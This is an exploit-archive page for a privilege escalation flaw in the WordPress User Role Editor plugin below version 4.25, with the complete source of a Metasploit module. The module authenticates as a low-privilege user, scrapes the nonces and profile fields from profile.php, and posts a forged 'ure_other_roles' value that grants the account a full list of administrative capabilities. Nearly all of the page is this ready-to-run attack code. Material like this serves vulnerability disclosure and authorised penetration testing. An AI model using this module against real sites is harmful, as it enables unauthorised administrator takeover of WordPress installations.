WordPress Plugin User Role Editor < 4.25 Privilege Escalation

2018.05.07
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress User Role Editor Plugin Privilege Escalation', 'Description' => %q{ The WordPress User Role Editor plugin prior to v4.25, is lacking an authorization check within its update user profile functionality ("update" function, contained within the "class-user-other-roles.php" module). Instead of verifying whether the current user has the right to edit other users' profiles ("edit_users" WP capability), the vulnerable function verifies whether the current user has the rights to edit the user ("edit_user" WP function) specified by the supplied user id ("user_id" variable/HTTP POST parameter). Since the supplied user id is the current user's id, this check is always bypassed (i.e. the current user is always allowed to modify its profile). This vulnerability allows an authenticated user to add arbitrary User Role Editor roles to its profile, by specifying them via the "ure_other_roles" parameter within the HTTP POST request to the "profile.php" module (issued when "Update Profile" is clicked). By default, this module grants the specified WP user all administrative privileges, existing within the context of the User Role Editor plugin. }, 'Author' => [ 'ethicalhack3r', # Vulnerability discovery 'Tomislav Paskalev' # Exploit development, metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['WPVDB', '8432'], ['URL', 'https://www.wordfence.com/blog/2016/04/user-role-editor-vulnerability/'] ], 'DisclosureDate' => 'Apr 05 2016', )) register_options( [ OptString.new('TARGETURI', [true, 'URI path to WordPress', '/']), OptString.new('ADMINPATH', [true, 'wp-admin directory', 'wp-admin/']), OptString.new('CONTENTPATH', [true, 'wp-content directory', 'wp-content/']), OptString.new('PLUGINSPATH', [true, 'wp plugins directory', 'plugins/']), OptString.new('PLUGINPATH', [true, 'User Role Editor directory', 'user-role-editor/']), OptString.new('USERNAME', [true, 'WordPress username']), OptString.new('PASSWORD', [true, 'WordPress password']), OptString.new('PRIVILEGES', [true, 'Desired User Role Editor privileges', 'activate_plugins,delete_others_pages,delete_others_posts,delete_pages,delete_posts,delete_private_pages,delete_private_posts,delete_published_pages,delete_published_posts,edit_dashboard,edit_others_pages,edit_others_posts,edit_pages,edit_posts,edit_private_pages,edit_private_posts,edit_published_pages,edit_published_posts,edit_theme_options,export,import,list_users,manage_categories,manage_links,manage_options,moderate_comments,promote_users,publish_pages,publish_posts,read_private_pages,read_private_posts,read,remove_users,switch_themes,upload_files,customize,delete_site,create_users,delete_plugins,delete_themes,delete_users,edit_plugins,edit_themes,edit_users,install_plugins,install_themes,unfiltered_html,unfiltered_upload,update_core,update_plugins,update_themes,ure_create_capabilities,ure_create_roles,ure_delete_capabilities,ure_delete_roles,ure_edit_roles,ure_manage_options,ure_reset_roles']) ]) end # Detect the vulnerable plugin by enumerating its readme.txt file def check readmes = ['readme.txt', 'Readme.txt', 'README.txt'] res = nil readmes.each do |readme_name| readme_url = normalize_uri(target_uri.path, datastore['CONTENTPATH'], datastore['PLUGINSPATH'], datastore['PLUGINPATH'], readme_name) vprint_status("Checking #{readme_url}") res = send_request_cgi( 'uri' => readme_url, 'method' => 'GET' ) break if res && res.code == 200 end if res.nil? || res.code != 200 # The readme.txt file does not exist return Msf::Exploit::CheckCode::Unknown end version_res = extract_and_check_version(res.body.to_s, :readme, 'plugin', '4.25', nil) return version_res end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end # Search for specified data within the provided HTTP response def check_response(res, name, regex) res.body =~ regex result = $1 if result print_good("#{peer} - WordPress - Getting data - #{name}") else vprint_error("#{peer} #{res.body}") fail_with("#{peer} - WordPress - Getting data - Failed (#{name})") end return result end # Run the exploit def run # Check if the specified target is running WordPress fail_with("#{peer} - WordPress - Not Found") unless wordpress_and_online? # Authenticate to WordPress print_status("#{peer} - WordPress - Authentication - #{username}:#{password}") cookie = wordpress_login(username, password) fail_with("#{peer} - WordPress - Authentication - Failed") if cookie.nil? store_valid_credential(user: username, private: password, proof: cookie) print_good("#{peer} - WordPress - Authentication - OK") # Get additional information from WordPress, required for the HTTP POST request (anti-CSRF tokens, user parameters) url = normalize_uri(wordpress_url_backend, 'profile.php') print_status("#{peer} - WordPress - Getting data - #{url}") res = send_request_cgi({ 'method' => 'GET', 'uri' => url, 'cookie' => cookie }) if res and res.code == 200 wp_nonce = check_response(res, "_wpnonce", /name=\"_wpnonce\" value=\"(.+?(?=\"))\"/) color_nonce = check_response(res, "color-nonce", /name=\"color-nonce\" value=\"(.+?(?=\"))\"/) checkuser_id = check_response(res, "checkuser_id", /name=\"checkuser_id\" value=\"(.+?(?=\"))\"/) nickname = check_response(res, "nickname", /name=\"nickname\" id=\"nickname\" value=\"(.+?(?=\"))\"/) display_name = check_response(res, "display_name", /name=\"display_name\" id=\"display_name\"\>[\s]+\<option selected=\'selected\'\>(.+?(?=\<))\</) email = check_response(res, "email", /name=\"email\" id=\"email\" value=\"(.+?(?=\"))\"/) user_id = check_response(res, "user_id", /name=\"user_id\" id=\"user_id\" value=\"(.+?(?=\"))\"/) else fail_with("#{peer} - WordPress - Getting data - Server response (code #{res.code})") end # Send HTTP POST request - update the specified user's privileges print_status("#{peer} - WordPress - Changing privs - #{username}") res = send_request_cgi({ 'method' => 'POST', 'uri' => url, 'vars_post' => { '_wpnonce' => wp_nonce, '_wp_http_referer' => URI::encode(url), 'from' => 'profile', 'checkuser_id' => checkuser_id, 'color-nonce' => color_nonce, 'admin_color' => 'fresh', 'admin_bar_front' => '1', 'first_name' => '', 'last_name' => '', 'nickname' => nickname, 'display_name' => display_name, 'email' => email, 'url' => '', 'description' => '', 'pass1' => '', 'pass2' => '', 'ure_other_roles' => datastore['PRIVILEGES'], 'action' => 'update', 'user_id' => user_id, 'submit' => 'Update+Profile' }, 'cookie' => cookie }) # check outcome if res and res.code == 302 print_good("#{peer} - WordPress - Changing privs - OK") else fail_with("#{peer} - WordPress - Changing privs - Server response (code #{res.code})") end end end # EoF


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